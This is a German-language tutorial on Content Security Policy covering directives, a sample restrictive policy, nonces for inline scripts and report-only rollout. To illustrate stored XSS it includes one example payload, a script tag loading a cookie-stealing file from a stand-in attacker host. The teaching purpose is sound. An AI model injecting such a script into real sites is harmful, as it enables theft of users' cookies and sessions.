Content Security Policy (CSP) verstehen
Content Security Policy ist eine Browserfunktion, die einschränkt, woher eine Seite Skripte, Stile, Bilder und andere Ressourcen laden darf – und sie ist eine der wenigen Abwehrmaßnahmen, die tatsächlich dann hilft, wenn ein Angreifer bereits etwas in deine Seite einschleusen konnte. Escaping verhindert, dass XSS entsteht; CSP begrenzt den Schaden, wenn das Escaping an einer übersehenen Stelle versagt.
Welches Problem es tatsächlich löst
Angenommen, ein Kommentarfeld auf deiner Seite escaped Eingaben nicht richtig, und ein Angreifer schickt Folgendes ab:
<script src="https://evil.example/steal-cookies.js"></script>
Ohne CSP führt der Browser diesen String einfach aus, sobald er ungeescaped auf die Seite gelangt – das Skript läuft dann mit vollem Zugriff auf die Seite, Cookies und alles, was der angemeldete Nutzer tun kann. CSP behebt den Escaping-Fehler nicht, kann aber verhindern, dass das eingeschleuste Skript überhaupt geladen wird, weil der Browser sich weigert, Skripte von Ursprüngen zu laden, die die Seite nicht ausdrücklich erlaubt hat.
Das ist Verteidigung in der Tiefe, kein Ersatz dafür, die Injection-Lücke zu beheben – aber echte Anwendungen haben Injection-Lücken, von denen sie noch nichts wissen, und CSP ist eine der wenigen Maßnahmen, die selbst dann hilft.
Wie es ausgeliefert wird
CSP ist ein Header, der mit der Antwort gesendet wird:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
Es lässt sich auch über ein <meta>-Tag setzen, wobei der Header vorzuziehen ist – ein Meta-Tag kann den frühesten Teil des Seitenladens nicht abdecken und unterstützt manche Direktiven gar nicht.
Direktiven: Quelllisten pro Ressourcentyp
Jede Direktive steuert eine Art von Ressource:
default-src– Fallback für jede nicht ausdrücklich gesetzte Direktive.script-src– woher JavaScript geladen werden darf.style-src– woher CSS geladen werden darf.img-src– woher Bilder geladen werden dürfen.connect-src– erlaubte Ziele fürfetch,XMLHttpRequest, WebSockets.frame-ancestors– wer diese Seite in einem<iframe>einbetten darf (der moderne Ersatz für denX-Frame-Options-Header).
Eine Quellliste kann enthalten:
'self'– den eigenen Ursprung der Seite.- Bestimmte Ursprünge –
https://cdn.example.com. 'none'– gar nichts.'unsafe-inline'– erlaubt Inline-<script>/<style>-Blöcke undon*-Attribute. Vermeide das speziell beiscript-src– es hebelt den Großteil des Sinns von CSP aus, da genau das einem eingeschleusten Inline-<script>-Tag die Ausführung erlaubt.'unsafe-eval'– erlaubteval(),new Function()und Ähnliches. Ebenfalls zu vermeiden.
Eine realistische Ausgangs-Policy
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' https://fonts.googleapis.com;
font-src https://fonts.gstatic.com;
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
object-src 'none';
Ein paar davon verdienen eine Erklärung:
object-src 'none'blockiert<object>/<embed>, historisch eine Quelle für Flash-basierte XSS-Umgehungen. Blockiere es auch dann, wenn nichts auf der Seite es zu nutzen scheint.base-uri 'self'hindert einen Angreifer daran, ein<base>-Tag einzuschleusen, das stillschweigend umschreiben würde, wohin all deine relativen URLs (einschließlichsrc-Attributen von Skripten) tatsächlich aufgelöst werden.img-src 'self' data: https:ist bewusst lockerer als der Rest – Bilder sind ein deutlich risikoärmerer Ressourcentyp, und hier streng zu sein bricht meist nur legitime Inhalte, ohne die Sicherheit nennenswert zu verbessern.
Inline-Skripte ohne unsafe-inline: Nonces
Echte Anwendungen brauchen oft irgendein Inline-Skript – Analytics-Snippets, serverseitig gerenderte Konfigurationsobjekte. Ein Nonce (ein pro Anfrage frisch erzeugter Zufallswert) erlaubt bestimmte Inline-Skripte, ohne die Tür für alle zu öffnen:
Content-Security-Policy: script-src 'self' 'nonce-8f3jd92kfmz'
<script nonce="8f3jd92kfmz">
window.__CONFIG__ = { userId: 42 };
</script>
Ein Angreifer, der <script> in deine Seite einschleust, kann den Nonce der aktuellen Anfrage nicht kennen – er wird serverseitig bei jeder Antwort neu erzeugt –, sein eingeschleustes Skript wird also weiterhin blockiert, während dein legitimes Inline-Skript (mit passendem Nonce) läuft.
Einführen, ohne die eigene Seite zu kaputt zu machen
CSP direkt als durchgesetzte Policy auf einer echten Anwendung auszurollen bricht meist etwas, von dem man nicht wusste, dass es da ist – ein Drittanbieter-Widget, das ein Skript von einem Ursprung lädt, den man vergessen hat freizugeben, ein Inline-onclick-Handler von vor Jahren. Der Report-Only-Modus lässt einen diese finden, ohne tatsächlich etwas zu blockieren:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations
Der Browser wertet die Policy aus und sendet einen JSON-Bericht an report-uri für alles, was blockiert worden wäre, blockiert es aber nicht tatsächlich. Lass es eine Weile im Report-Only-Modus laufen, behebe, was in den Berichten auftaucht, und wechsle dann zum durchsetzenden Header, wenn die Verstoßberichte verstummen.
app.post('/csp-violations', express.json({ type: 'application/csp-report' }), (req, res) => {
console.warn('CSP violation:', req.body['csp-report']);
res.status(204).end();
});
Fazit
CSP fängt nicht jeden XSS-Vektor ab, und eine Policy mit 'unsafe-inline' in script-src bietet kaum den Schutz, den man ihr zuschreibt. Aber eine echte, restriktive Policy – kein unsafe-inline, kein unsafe-eval, eine ausdrückliche Allowlist für Skript-Ursprünge – macht aus „Angreifer hat einen Injection-Punkt gefunden" statt „volle Skriptausführung auf deiner Seite" ein „Browser weigert sich stillschweigend, es auszuführen". Das ist ein bedeutsamer Rückhalt für die Injection-Lücken, die du noch nicht gefunden hast – also genau die, auf die es am meisten ankommt.